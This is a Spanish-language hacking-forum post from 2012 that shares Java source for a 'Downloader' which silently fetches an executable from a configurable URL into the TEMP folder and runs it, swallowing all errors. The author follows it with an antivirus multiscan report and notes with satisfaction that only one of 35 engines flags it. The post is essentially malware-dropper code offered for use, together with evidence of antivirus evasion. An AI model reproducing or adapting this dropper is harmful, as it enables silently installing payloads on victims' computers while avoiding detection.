Expermicid Posted October 29, 2012 Share Posted October 29, 2012 (edited) Empece haciendo un code para descargar archivos y luego le agregue la ejecucion mas algunas modificaciones y termino en un Downloader xD [lenguaje=java]import java.net.URL; import java.net.URLConnection; import java.io.File; import java.io.InputStream; import java.io.OutputStream; import java.io.FileOutputStream; class Downloader { static final String url = "Url_del_Archivo"; // url de descarga static final String nombre = "Nombre_Archivo.exe"; // nombre del archivo static final String ruta = System.getenv("TEMP"); // lugar de descarga // constructor public Downloader() { } // metodo descargarArchivo private void descargarArchivo() { try { File tempFile = new File(ruta + "/" + nombre); // creamos un archivo en Temp // se establace la conexion URLConnection conn = new URL(url).openConnection(); conn.connect(); // preparamos los Stream para el archivo de descarga y el creado InputStream descarga = conn.getInputStream(); OutputStream creado = new FileOutputStream(tempFile); int bits = 0; // leemos y escribimos byte por byte while ( bits != -1 ) { bits = descarga.read(); if ( bits != -1 ) { creado.write(bits); } } // se cierran los Stream creado.close(); descarga.close(); } catch ( Exception e ) { } } // fin del metodo descargarArchivo // metodo ejecutarArchivo private void ejecutarArchivo() { Runtime aplicacion = Runtime.getRuntime(); try { Process proceso = aplicacion.exec(ruta + "/" + nombre); proceso.waitFor(); } catch ( Exception e ) { } } // fin del metodo ejecutarArchivo // metodo Main public static void main(String[] args) { Downloader down = new Downloader(); down.descargarArchivo(); down.ejecutarArchivo(); } }[/lenguaje] NOTA: Deben poner la ruta y el nombre que ustedes deseen Video demostrativo: This is the hidden content, please Sign In or Sign Up Despues de hacer todo solo por curiosidad lo tranforme a jar y lo analize para ver que tan quemado estaba, pero me lleve una sorpresa xD Date and Time: 10/29/2012 6:50:27 PM File Name: Downloader.jar File Size: 1675 Bytes MD5: 2edb3f437e776b93117015522f225262 SHA1: d93f27a5b5d1a7ec200138797cfe54184d638711 Detection: 1 of 35 (3%) Status: INFECTED AVG Free - Clean! ArcaVir - Clean! Avast 5 - Clean! AntiVir (Avira) - Clean! BitDefender - Clean! VirusBuster Internet Security - Clean! Clam Antivirus - Clean! COMODO Internet Security - Clean! Dr.Web - Clean! eTrust-Vet - Clean! F-PROT Antivirus - Clean! F-Secure Internet Security - Clean! G Data - Clean! IKARUS Security - Clean! Kaspersky Antivirus - Clean! MS Security Essentials - Clean! ESET NOD32 - Clean! Norman - Clean! Norton Antivirus - Clean! Panda Security - Clean! A-Squared - Clean! Quick Heal Antivirus - Clean! Rising Antivirus - Clean! Solo Antivirus - Clean! Sophos - Downloader.class=Mal/ClsDLod-A Trend Micro Internet Security - Clean! VBA32 Antivirus - Clean! Vexira Antivirus - Clean! Zoner AntiVirus - Clean! Ad-Aware - Clean! BullGuard - Clean! Immunet Antivirus - Clean! K7 Ultimate - Clean! mcafree - Clean! VIPRE - Clean! This is the hidden content, please Sign In or Sign Up Saludos Edited February 16, 2014 by Expermicid Link to comment Share on other sites More sharing options...
Recommended Posts